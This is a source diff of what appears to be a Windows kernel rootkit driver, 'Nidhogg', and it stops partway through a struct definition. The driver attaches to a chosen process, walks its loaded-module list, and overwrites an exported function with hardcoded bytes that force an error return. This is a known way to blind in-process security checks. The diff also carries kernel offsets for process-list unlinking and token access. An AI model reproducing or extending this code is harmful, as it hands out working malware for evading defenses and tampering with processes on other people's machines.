- PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)ImageInfo->ImageBase + dosHeader->e_lfanew);
-
- if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
- return;
-
- IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader;
-
- if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
- return;
-
- // Iterating the export directory.
- PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)ImageInfo->ImageBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
-
- DWORD* addresses = (DWORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfFunctions);
- WORD* ordinals = (WORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfNameOrdinals);
- DWORD* names = (DWORD*)((PUCHAR)ImageInfo->ImageBase + exportDirectory->AddressOfNames);
-
- for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) {
- if (_stricmp((char*)((PUCHAR)ImageInfo->ImageBase + names[j]), pmGlobals.ModulesList.Modules[i].FunctionName) == 0) {
- if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) {
- KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n"));
- break;
- }
-
- auto patchLen = strlen((char*)pmGlobals.ModulesList.Modules[i].Patch);
- auto functionAddress = (PVOID)((PUCHAR)ImageInfo->ImageBase + addresses[ordinals[j]]);
-
- // Adding write permissions.
- status = ZwQueryVirtualMemory(hTargetProcess, functionAddress, MemoryBasicInformation, &memInfo, sizeof(MEMORY_BASIC_INFORMATION), &outBytes);
-
- if (status != STATUS_SUCCESS) {
- KdPrint((DRIVER_PREFIX "Failed to query protection, (0x%08X).\n", status));
- ZwClose(hTargetProcess);
- break;
- }
-
- /*KdPrint((DRIVER_PREFIX "Protection of the page is - %d.\n", memInfo.AllocationProtect));
- KdPrint((DRIVER_PREFIX "State of the page is - %d.\n", memInfo.State));
- KdPrint((DRIVER_PREFIX "Type of the page is - %d.\n", memInfo.Type));*/
-
- changeProtection = memInfo.AllocationProtect != PAGE_EXECUTE_WRITECOPY && memInfo.AllocationProtect != PAGE_EXECUTE_READWRITE;
-
- if (changeProtection) {
- status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection);
-
- if (status != STATUS_SUCCESS) {
- KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status));
- ZwClose(hTargetProcess);
- break;
- }
- }
-
-
- // Patching the function.
- SIZE_T written;
- char patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
-
- // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written);
- status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), &patch[0], TargetProcess, functionAddress, 6, KernelMode, &written);
-
- if (status != STATUS_SUCCESS)
- KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status));
- else
- KdPrint((DRIVER_PREFIX "Patched function #5.\n"));
-
- // Restoring permissions and cleaning up.
- if (changeProtection)
- dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection);
+ // Validate that the required functions are loaded correctly.
+ if (!dimGlobals.ZwProtectVirtualMemory || !dimGlobals.MmCopyVirtualMemory)
+ return status;
- ZwClose(hTargetProcess);
- KdPrint((DRIVER_PREFIX "Cleaned up #6.\n"));
- break;
- }
- }
- }
+ // Getting the PEB of the target process.
+ if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch.Pid, &TargetProcess) != STATUS_SUCCESS)
+ return status;
+
+ KeAttachProcess(TargetProcess);
+
+ PPEB targetPeb = dimGlobals.PsGetProcessPeb(TargetProcess);
+
+ if (!targetPeb)
+ goto CleanUp;
+
+ PPEB_LDR_DATA ldr = GetLDRFromPEB(targetPeb);
+
+ for (int i = 0; !ldr && i < 10; i++)
+ {
+ KeDelayExecutionThread(KernelMode, TRUE, &time);
}
- ObDereferenceObject(TargetProcess);
-}
-/*
-* Description:
-* FindModule is responsible for searching if a module exists in the list of modules that need to be patched.
-*
-* Parameters:
-* @patchedModule [PatchedModule&] -- Module's information.
-*
-* Returns:
-* @status [bool] -- Whether found or not.
-*/
-bool FindModule(PatchedModule& patchedModule) {
- for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++)
- if (_wcsicmp(pmGlobals.ModulesList.Modules[i].ModuleName, patchedModule.ModuleName) == 0 &&
- _stricmp(pmGlobals.ModulesList.Modules[i].FunctionName, patchedModule.FunctionName) == 0)
- return true;
- return false;
-}
+ if (!ldr)
+ goto CleanUp;
-/*
-* Description:
-* AddModule is responsible for adding a module to the list of modules that need to be patched.
-*
-* Parameters:
-* @patchedModule [PatchedModule&] -- Module to add.
-*
-* Returns:
-* @status [bool] -- Whether successfully added or not.
-*/
-bool AddModule(PatchedModule& patchedModule) {
-
- for (int i = 0; i < MAX_PATCHED_MODULES; i++)
- if (pmGlobals.ModulesList.Modules[i].FunctionName == nullptr) {
- auto functionNameLen = (strlen(patchedModule.FunctionName) + 1) * sizeof(CHAR);
- auto functionNameBuffer = (CHAR*)ExAllocatePoolWithTag(PagedPool, functionNameLen, DRIVER_TAG);
-
- // Not enough resources.
- if (!functionNameBuffer) {
+ // Getting the module's image base.
+ moduleImageBase = GetModuleImageBase(ldr, ModuleToPatch.ModuleName);
+
+ if (!moduleImageBase)
+ goto CleanUp;
+
+ // Validating module.
+ PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleImageBase;
+
+ // Checking that the image is valid PE file.
+ if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
+ goto CleanUp;
+
+ PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)moduleImageBase + dosHeader->e_lfanew);
+
+ if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
+ goto CleanUp;
+
+ IMAGE_OPTIONAL_HEADER optionalHeader = ntHeaders->OptionalHeader;
+
+ if (optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0)
+ goto CleanUp;
+
+ // Iterating the export directory.
+ PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)moduleImageBase + optionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+
+ DWORD* addresses = (DWORD*)((PUCHAR)moduleImageBase + exportDirectory->AddressOfFunctions);
+ WORD* ordinals = (WORD*)((PUCHAR)moduleImageBase + exportDirectory->AddressOfNameOrdinals);
+ DWORD* names = (DWORD*)((PUCHAR)moduleImageBase + exportDirectory->AddressOfNames);
+
+ for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) {
+ if (_stricmp((char*)((PUCHAR)moduleImageBase + names[j]), ModuleToPatch.FunctionName) == 0) {
+ if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) {
+ KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n"));
+ success = false;
break;
}
- auto moduleNameLen = (wcslen(patchedModule.ModuleName) + 1) * sizeof(WCHAR);
- auto moduleNameBuffer = (WCHAR*)ExAllocatePoolWithTag(PagedPool, moduleNameLen, DRIVER_TAG);
+ auto patchLen = strlen(ModuleToPatch.Patch);
+ auto functionAddress = (PVOID)((PUCHAR)moduleImageBase + addresses[ordinals[j]]);
+
+ // Adding write permissions.
+ status = ZwQueryVirtualMemory(hTargetProcess, functionAddress, MemoryBasicInformation, &memInfo, sizeof(MEMORY_BASIC_INFORMATION), &outBytes);
- // Not enough resources.
- if (!moduleNameBuffer) {
- ExFreePoolWithTag(functionNameBuffer, DRIVER_TAG);
+ if (status != STATUS_SUCCESS) {
+ KdPrint((DRIVER_PREFIX "Failed to query protection, (0x%08X).\n", status));
+ ZwClose(hTargetProcess);
+ success = false;
break;
}
- auto patchLen = strlen((char*)patchedModule.Patch) * sizeof(UCHAR);
- auto patchBuffer = (PUCHAR)ExAllocatePoolWithTag(PagedPool, patchLen, DRIVER_TAG);
+ /*KdPrint((DRIVER_PREFIX "Protection of the page is - %d.\n", memInfo.AllocationProtect));
+ KdPrint((DRIVER_PREFIX "State of the page is - %d.\n", memInfo.State));
+ KdPrint((DRIVER_PREFIX "Type of the page is - %d.\n", memInfo.Type));*/
- // Not enough resources.
- if (!patchBuffer) {
- ExFreePoolWithTag(moduleNameBuffer, DRIVER_TAG);
- ExFreePoolWithTag(functionNameBuffer, DRIVER_TAG);
- break;
+ changeProtection = memInfo.AllocationProtect != PAGE_EXECUTE_WRITECOPY && memInfo.AllocationProtect != PAGE_EXECUTE_READWRITE;
+
+ if (changeProtection) {
+ status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection);
+
+ if (status != STATUS_SUCCESS) {
+ KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status));
+ ZwClose(hTargetProcess);
+ success = false;
+ break;
+ }
}
- strcpy_s(functionNameBuffer, functionNameLen / sizeof(CHAR), patchedModule.FunctionName);
- wcscpy_s(moduleNameBuffer, moduleNameLen / sizeof(WCHAR), patchedModule.ModuleName);
- memcpy_s(patchBuffer, patchLen, patchedModule.Patch, patchLen);
- pmGlobals.ModulesList.Modules[i].FunctionName = functionNameBuffer;
- pmGlobals.ModulesList.Modules[i].ModuleName = moduleNameBuffer;
- pmGlobals.ModulesList.Modules[i].Patch = patchBuffer;
- pmGlobals.ModulesList.PatchedModulesCount++;
- return true;
+ // Patching the function.
+ SIZE_T written;
+ char patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
+
+ // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written);
+ status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), &patch[0], TargetProcess, functionAddress, 6, KernelMode, &written);
+
+ if (status != STATUS_SUCCESS) {
+ KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status));
+ success = false;
+ }
+ else
+ KdPrint((DRIVER_PREFIX "Patched function #5.\n"));
+
+ // Restoring permissions and cleaning up.
+ if (changeProtection)
+ dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection);
+
+ ZwClose(hTargetProcess);
+ KdPrint((DRIVER_PREFIX "Cleaned up #6.\n"));
+ break;
}
- return false;
+ }
+
+ if (success)
+ status = STATUS_SUCCESS;
+CleanUp:
+ KeAttachProcess(TargetProcess);
+ ObDereferenceObject(TargetProcess);
+ return status;
}
-/*
-* Description:
-* RemoveModule is responsible for removing a module from the list of modules that need to be patched.
-*
-* Parameters:
-* @patchedModule [PatchedModule&] -- Module to add.
-*
-* Returns:
-* @status [bool] -- Whether successfully removed or not.
-*/
-bool RemoveModule(PatchedModule& patchedModule) {
- for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++)
- if (_wcsicmp(pmGlobals.ModulesList.Modules[i].ModuleName, patchedModule.ModuleName) == 0 &&
- _stricmp(pmGlobals.ModulesList.Modules[i].FunctionName, patchedModule.FunctionName) == 0) {
-
- ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].FunctionName, DRIVER_TAG);
- ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].ModuleName, DRIVER_TAG);
- ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].Patch, DRIVER_TAG);
- pmGlobals.ModulesList.Modules[i].FunctionName = nullptr;
- pmGlobals.ModulesList.Modules[i].ModuleName = nullptr;
- pmGlobals.ModulesList.Modules[i].Patch = nullptr;
- pmGlobals.ModulesList.PatchedModulesCount--;
- return true;
+PPEB_LDR_DATA GetLDRFromPEB(PPEB peb) {
+ PPEB_LDR_DATA ldr = NULL;
+ RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) };
+ NTSTATUS result = RtlGetVersion(&osVersion);
+
+ if (NT_SUCCESS(result)) {
+ switch (osVersion.dwBuildNumber) {
+ case WIN_1507:
+ {
+ PPEB_1507 peb1507 = (PPEB_1507)peb;
+ ldr = peb1507->Ldr;
+ break;
+ }
+ case WIN_1511:
+ case WIN_1607:
+ case WIN_1703:
+ {
+ PPEB_1511 peb1511 = (PPEB_1511)peb;
+ ldr = peb1511->Ldr;
+ break;
+ }
+ case WIN_1709:
+ {
+ PPEB_1709 peb1709 = (PPEB_1709)peb;
+ ldr = peb1709->Ldr;
+ break;
+ }
+ case WIN_1803:
+ {
+ PPEB_1803 peb1803 = (PPEB_1803)peb;
+ ldr = peb1803->Ldr;
+ break;
+ }
+ case WIN_1809:
+ {
+ PPEB_1809 peb1809 = (PPEB_1809)peb;
+ ldr = peb1809->Ldr;
+ break;
+ }
+ case WIN_1903:
+ case WIN_1909:
+ case WIN_2004:
+ case WIN_20H2:
+ case WIN_21H1:
+ case WIN_21H2:
+ case WIN_22H2:
+ {
+ PPEB_1903 peb1903 = (PPEB_1903)peb;
+ ldr = peb1903->Ldr;
+ break;
+ }
+ default:
+ {
+ PPEB_WIN11 peb11 = (PPEB_WIN11)peb;
+ ldr = peb11->Ldr;
+ break;
+ }
}
- return false;
+ }
+
+ return ldr;
+}
+
+
+PVOID GetModuleImageBase(PPEB_LDR_DATA ldr, WCHAR* moduleName) {
+ PVOID imageBase = NULL;
+ RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) };
+ NTSTATUS result = RtlGetVersion(&osVersion);
+
+ if (NT_SUCCESS(result)) {
+ switch (osVersion.dwBuildNumber) {
+ case WIN_1507:
+ case WIN_1511:
+ {
+ for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink;
+ pListEntry != &ldr->InLoadOrderModuleList;
+ pListEntry = pListEntry->Flink) {
+ PLDR_DATA_TABLE_ENTRY_1507 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_1507, InLoadOrderLinks);
+
+ if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) {
+ imageBase = pEntry->DllBase;
+ break;
+ }
+ }
+ break;
+ }
+ case WIN_1607:
+ case WIN_1703:
+ case WIN_1709:
+ case WIN_1803:
+ case WIN_1809:
+ case WIN_1903:
+ case WIN_1909:
+ case WIN_2004:
+ case WIN_20H2:
+ case WIN_21H1:
+ case WIN_21H2:
+ case WIN_22H2:
+ {
+ for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink;
+ pListEntry != &ldr->InLoadOrderModuleList;
+ pListEntry = pListEntry->Flink) {
+ PLDR_DATA_TABLE_ENTRY_1607 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_1607, InLoadOrderLinks);
+
+ if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) {
+ imageBase = pEntry->DllBase;
+ break;
+ }
+ }
+ break;
+ }
+ default:
+ {
+ for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink;
+ pListEntry != &ldr->InLoadOrderModuleList;
+ pListEntry = pListEntry->Flink) {
+ PLDR_DATA_TABLE_ENTRY_WIN11 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_WIN11, InLoadOrderLinks);
+
+ if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) {
+ imageBase = pEntry->DllBase;
+ break;
+ }
+ }
+ break;
+ }
+ }
+ }
+
+ return imageBase;
}
diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp
index 2be0daa..5b99353 100644
--- a/Nidhogg/Nidhogg.cpp
+++ b/Nidhogg/Nidhogg.cpp
@@ -1,5 +1,4 @@
#include "pch.h"
-#include "Nidhogg.h"
#include "NidhoggUtils.h"
extern "C"
@@ -8,7 +7,6 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) {
pGlobals.Init();
fGlobals.Init();
rGlobals.Init();
- pmGlobals.Init();
dimGlobals.Init();
// Setting up the device object.
@@ -68,8 +66,6 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) {
return status;
}
- status = PsSetLoadImageNotifyRoutine(OnImageLoad);
-
if (!NT_SUCCESS(status)) {
KdPrint((DRIVER_PREFIX "failed to register image notify callback: (0x%08X)\n", status));
@@ -87,8 +83,6 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) {
if (!NT_SUCCESS(status)) {
KdPrint((DRIVER_PREFIX "failed to register registry callback: (0x%08X)\n", status));
- PsRemoveLoadImageNotifyRoutine(OnImageLoad);
-
if (registrationHandle) {
ObUnRegisterCallbacks(registrationHandle);
registrationHandle = NULL;
@@ -126,8 +120,6 @@ void NidhoggUnload(PDRIVER_OBJECT DriverObject) {
KdPrint((DRIVER_PREFIX "failed to unregister registry callbacks: (0x%08X)\n", status));
}
- status = PsRemoveLoadImageNotifyRoutine(OnImageLoad);
-
if (!NT_SUCCESS(status)) {
KdPrint((DRIVER_PREFIX "failed to unregister image load callback: (0x%08X)\n", status));
}
@@ -773,64 +765,22 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer;
- if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0 || strlen((char*)(*data).Patch) == 0) {
+ if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0 || strlen((*data).Patch) == 0 ||
+ data->Pid <= 0 || data->Pid == SYSTEM_PROCESS_PID) {
KdPrint((DRIVER_PREFIX "Buffer is empty.\n"));
status = STATUS_INVALID_PARAMETER;
break;
}
- AutoLock locker(pmGlobals.Lock);
-
- if (pmGlobals.ModulesList.PatchedModulesCount == MAX_PATCHED_MODULES) {
- KdPrint((DRIVER_PREFIX "Module list is full.\n"));
- status = STATUS_TOO_MANY_CONTEXT_IDS;
- break;
- }
-
- if (!FindModule(*data)) {
- if (!AddModule(*data)) {
- KdPrint((DRIVER_PREFIX "Failed to add module.\n"));
- status = STATUS_UNSUCCESSFUL;
- break;
- }
-
+ status = PatchModule(*data);
+
+ if (status == STATUS_SUCCESS) {
auto prevIrql = KeGetCurrentIrql();
KeLowerIrql(PASSIVE_LEVEL);
- KdPrint((DRIVER_PREFIX "Patching module %ws.\n", (*data).ModuleName));
+ KdPrint((DRIVER_PREFIX "Patched %s for process %d.\n", (*data).FunctionName, data->Pid));
KeRaiseIrql(prevIrql, &prevIrql);
- break;
- }
- }
-
- case IOCTL_NIDHOGG_UNPATCH_MODULE:
- {
- auto size = stack->Parameters.DeviceIoControl.InputBufferLength;
-
- if (size % sizeof(PatchedModule) != 0) {
- KdPrint((DRIVER_PREFIX "Invalid buffer type.\n"));
- status = STATUS_INVALID_BUFFER_SIZE;
- break;
- }
-
- auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer;
-
- if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0) {
- KdPrint((DRIVER_PREFIX "Buffer is empty.\n"));
- status = STATUS_INVALID_PARAMETER;
- break;
}
- AutoLock locker(pmGlobals.Lock);
-
- if (!RemoveModule(*data)) {
- KdPrint((DRIVER_PREFIX "Module not found.\n"));
- status = STATUS_NOT_FOUND;
- break;
- }
- auto prevIrql = KeGetCurrentIrql();
- KeLowerIrql(PASSIVE_LEVEL);
- KdPrint((DRIVER_PREFIX "Removed patched module %ws.\n", (*data).ModuleName));
- KeRaiseIrql(prevIrql, &prevIrql);
break;
}
@@ -887,19 +837,4 @@ void ClearAll() {
rGlobals.ProtectedItems.Values.ValuesName[i] = nullptr;
}
rGlobals.ProtectedItems.Values.ValuesCount = 0;
-
- AutoLock moduleLocker(pmGlobals.Lock);
-
- for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) {
- if (pmGlobals.ModulesList.Modules[i].FunctionName)
- ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].FunctionName, DRIVER_TAG);
- if (pmGlobals.ModulesList.Modules[i].ModuleName)
- ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].ModuleName, DRIVER_TAG);
- if (pmGlobals.ModulesList.Modules[i].Patch)
- ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].Patch, DRIVER_TAG);
- pmGlobals.ModulesList.Modules[i].FunctionName = nullptr;
- pmGlobals.ModulesList.Modules[i].ModuleName = nullptr;
- pmGlobals.ModulesList.Modules[i].Patch = nullptr;
- }
- pmGlobals.ModulesList.PatchedModulesCount = 0;
}
diff --git a/Nidhogg/Nidhogg.h b/Nidhogg/Nidhogg.h
index 473cd8c..e2c3771 100644
--- a/Nidhogg/Nidhogg.h
+++ b/Nidhogg/Nidhogg.h
@@ -29,9 +29,7 @@
#define IOCTL_NIDHOGG_CLEAR_REGITEMS CTL_CODE(0x8000, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NIDHOGG_QUERY_REGITEMS CTL_CODE(0x8000, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS)
-#define IOCTL_NIDHOGG_GLOBAL_PATCH_MODULE CTL_CODE(0x8000, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS)
-#define IOCTL_NIDHOGG_GLOBAL_UNPATCH_MODULE CTL_CODE(0x8000, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS)
-#define IOCTL_NIDHOGG_PATCH_MODULE CTL_CODE(0x8000, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_NIDHOGG_PATCH_MODULE CTL_CODE(0x8000, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS)
// *****************************************************************************************************
#define MAX_PATCHED_MODULES 256
@@ -50,6 +48,7 @@ void ClearAll();
typedef NTSTATUS(NTAPI* tZwProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);
typedef NTSTATUS(NTAPI* tMmCopyVirtualMemory)(PEPROCESS SourceProcess, PVOID SourceAddress, PEPROCESS TargetProcess, PVOID TargetAddress, SIZE_T BufferSize, KPROCESSOR_MODE PreviousMode, PSIZE_T ReturnSize);
+typedef PPEB(NTAPI* tPsGetProcessPeb)(PEPROCESS Process);
// Globals.
PVOID registrationHandle = NULL;
@@ -57,6 +56,7 @@ PVOID registrationHandle = NULL;
struct DynamicImportedModulesGlobal {
tZwProtectVirtualMemory ZwProtectVirtualMemory;
tMmCopyVirtualMemory MmCopyVirtualMemory;
+ tPsGetProcessPeb PsGetProcessPeb;
void Init() {
UNICODE_STRING routineName;
@@ -64,32 +64,19 @@ struct DynamicImportedModulesGlobal {
ZwProtectVirtualMemory = (tZwProtectVirtualMemory)MmGetSystemRoutineAddress(&routineName);
RtlInitUnicodeString(&routineName, L"MmCopyVirtualMemory");
MmCopyVirtualMemory = (tMmCopyVirtualMemory)MmGetSystemRoutineAddress(&routineName);
+ RtlInitUnicodeString(&routineName, L"PsGetProcessPeb");
+ PsGetProcessPeb = (tPsGetProcessPeb)MmGetSystemRoutineAddress(&routineName);
}
};
DynamicImportedModulesGlobal dimGlobals;
struct PatchedModule {
- PUCHAR Patch;
+ ULONG Pid;
+ CHAR* Patch;
CHAR* FunctionName;
WCHAR* ModuleName;
};
-struct PatchedModulesList {
- int PatchedModulesCount;
- PatchedModule Modules[MAX_PATCHED_MODULES];
-};
-
-struct PatchedModulesGlobal {
- PatchedModulesList ModulesList;
- FastMutex Lock;
-
- void Init() {
- ModulesList.PatchedModulesCount = 0;
- Lock.Init();
- }
-};
-PatchedModulesGlobal pmGlobals;
-
struct ProcessesList {
int PidsCount;
ULONG Pids[MAX_PIDS];
diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h
index ff7a9c6..c9f487b 100644
--- a/Nidhogg/NidhoggUtils.h
+++ b/Nidhogg/NidhoggUtils.h
@@ -1,6 +1,7 @@
#pragma once
#include "pch.h"
#include "WindowsTypes.h"
+#include "Nidhogg.h"
#include "NidhoggHelperFunctions.hpp"
#include "ProcessUtils.hpp"
#include "FileUtils.hpp"
diff --git a/Nidhogg/ProcessUtils.hpp b/Nidhogg/ProcessUtils.hpp
index f2955c4..0c70882 100644
--- a/Nidhogg/ProcessUtils.hpp
+++ b/Nidhogg/ProcessUtils.hpp
@@ -114,17 +114,17 @@ ULONG GetActiveProcessLinksOffset() {
if (NT_SUCCESS(result)) {
switch (osVersion.dwBuildNumber) {
- case 10240:
- case 10586:
- case 14393:
- case 18362:
- case 18363:
+ case WIN_1507:
+ case WIN_1511:
+ case WIN_1607:
+ case WIN_1903:
+ case WIN_1909:
activeProcessLinks = 0x2f0;
break;
- case 15063:
- case 16299:
- case 17134:
- case 17763:
+ case WIN_1703:
+ case WIN_1709:
+ case WIN_1803:
+ case WIN_1809:
activeProcessLinks = 0x2e8;
break;
default:
@@ -241,17 +241,17 @@ UINT64 GetTokenOffset() {
if (NT_SUCCESS(result)) {
switch (osVersion.dwBuildNumber) {
- case 18362:
- case 18363:
+ case WIN_1903:
+ case WIN_1909:
tokenOffset = 0x360;
break;
- case 10240:
- case 10586:
- case 14393:
- case 15063:
- case 16299:
- case 17134:
- case 17763:
+ case WIN_1507:
+ case WIN_1511:
+ case WIN_1607:
+ case WIN_1703:
+ case WIN_1709:
+ case WIN_1803:
+ case WIN_1809:
tokenOffset = 0x358;
break;
default:
diff --git a/Nidhogg/WindowsTypes.h b/Nidhogg/WindowsTypes.h
index a33cc79..0d23ed7 100644
--- a/Nidhogg/WindowsTypes.h
+++ b/Nidhogg/WindowsTypes.h
@@ -1,6 +1,23 @@
#pragma once
// Documented.
+#define WIN_1507 10240
+#define WIN_1511 10586
+#define WIN_1607 14393
+#define WIN_1703 15063
+#define WIN_1709 16299
+#define WIN_1803 17134
+#define WIN_1809 17763
+#define WIN_1903 18362
+#define WIN_1909 18363
+#define WIN_2004 19041
+#define WIN_20H2 19042
+#define WIN_21H1 19043
+#define WIN_21H2 19044
+#define WIN_22H2 19045
+#define WIN_1121H2 22000
+#define WIN_1122H2 22621
+
#define IMAGE_DOS_SIGNATURE 0x5A4D
#define IMAGE_NT_SIGNATURE 0x00004550
@@ -117,6 +134,1437 @@ typedef struct _FULL_IMAGE_NT_HEADERS {
IMAGE_OPTIONAL_HEADER OptionalHeader;
} FULL_IMAGE_NT_HEADERS, * PFULL_IMAGE_NT_HEADERS;
+#pragma warning(default : 4214)
+
+enum LDR_DDAG_STATE
+{
+ LdrModulesMerged = -5,
+ LdrModulesInitError = -4,
+ LdrModulesSnapError = -3,
+ LdrModulesUnloaded = -2,
+ LdrModulesUnloading = -1,
+ LdrModulesPlaceHolder = 0,
+ LdrModulesMapping = 1,
+ LdrModulesMapped = 2,
+ LdrModulesWaitingForDependencies = 3,
+ LdrModulesSnapping = 4,
+ LdrModulesSnapped = 5,
+ LdrModulesCondensed = 6,
+ LdrModulesReadyToInit = 7,
+ LdrModulesInitializing = 8,
+ LdrModulesReadyToRun = 9
+};
+
+enum LDR_DLL_LOAD_REASON
+{
+ LoadReasonStaticDependency = 0,
+ LoadReasonStaticForwarderDependency = 1,
+ LoadReasonDynamicForwarderDependency = 2,
+ LoadReasonDelayloadDependency = 3,
+ LoadReasonDynamicLoad = 4,
+ LoadReasonAsImageLoad = 5,
+ LoadReasonAsDataLoad = 6,
+ LoadReasonEnclavePrimary = 7,
+ LoadReasonEnclaveDependency = 8,
+ LoadReasonPatchImage = 9,
+ LoadReasonUnknown = -1
+};
+
+//0x4 bytes (sizeof)
+enum LDR_HOT_PATCH_STATE
+{
+ LdrHotPatchBaseImage = 0,
+ LdrHotPatchNotApplied = 1,
+ LdrHotPatchAppliedReverse = 2,
+ LdrHotPatchAppliedForward = 3,
+ LdrHotPatchFailedToPatch = 4,
+ LdrHotPatchStateMax = 5
+};
+
+typedef struct _PEB_LDR_DATA
+{
+ ULONG Length; //0x0
+ UCHAR Initialized; //0x4
+ PVOID SsHandle; //0x8
+ LIST_ENTRY InLoadOrderModuleList; //0x10
+ LIST_ENTRY InMemoryOrderModuleList; //0x20
+ LIST_ENTRY InInitializationOrderModuleList; //0x30
+ PVOID EntryInProgress; //0x40
+ UCHAR ShutdownInProgress; //0x48
+ PVOID ShutdownThreadId; //0x50
+} PEB_LDR_DATA, * PPEB_LDR_DATA;
+
+//0x8 bytes (sizeof)
+typedef struct _LDRP_CSLIST
+{
+ SINGLE_LIST_ENTRY* Tail; //0x0
+} LDRP_CSLIST, * PLDRP_CSLIST;
+
+//0x50 bytes (sizeof)
+typedef struct _LDR_DDAG_NODE
+{
+ LIST_ENTRY Modules; //0x0
+ struct _LDR_SERVICE_TAG_RECORD* ServiceTagList; //0x10
+ ULONG LoadCount; //0x18
+ ULONG LoadWhileUnloadingCount; //0x1c
+ ULONG LowestLink; //0x20
+ LDRP_CSLIST Dependencies; //0x28
+ LDRP_CSLIST IncomingDependencies; //0x30
+ LDR_DDAG_STATE State; //0x38
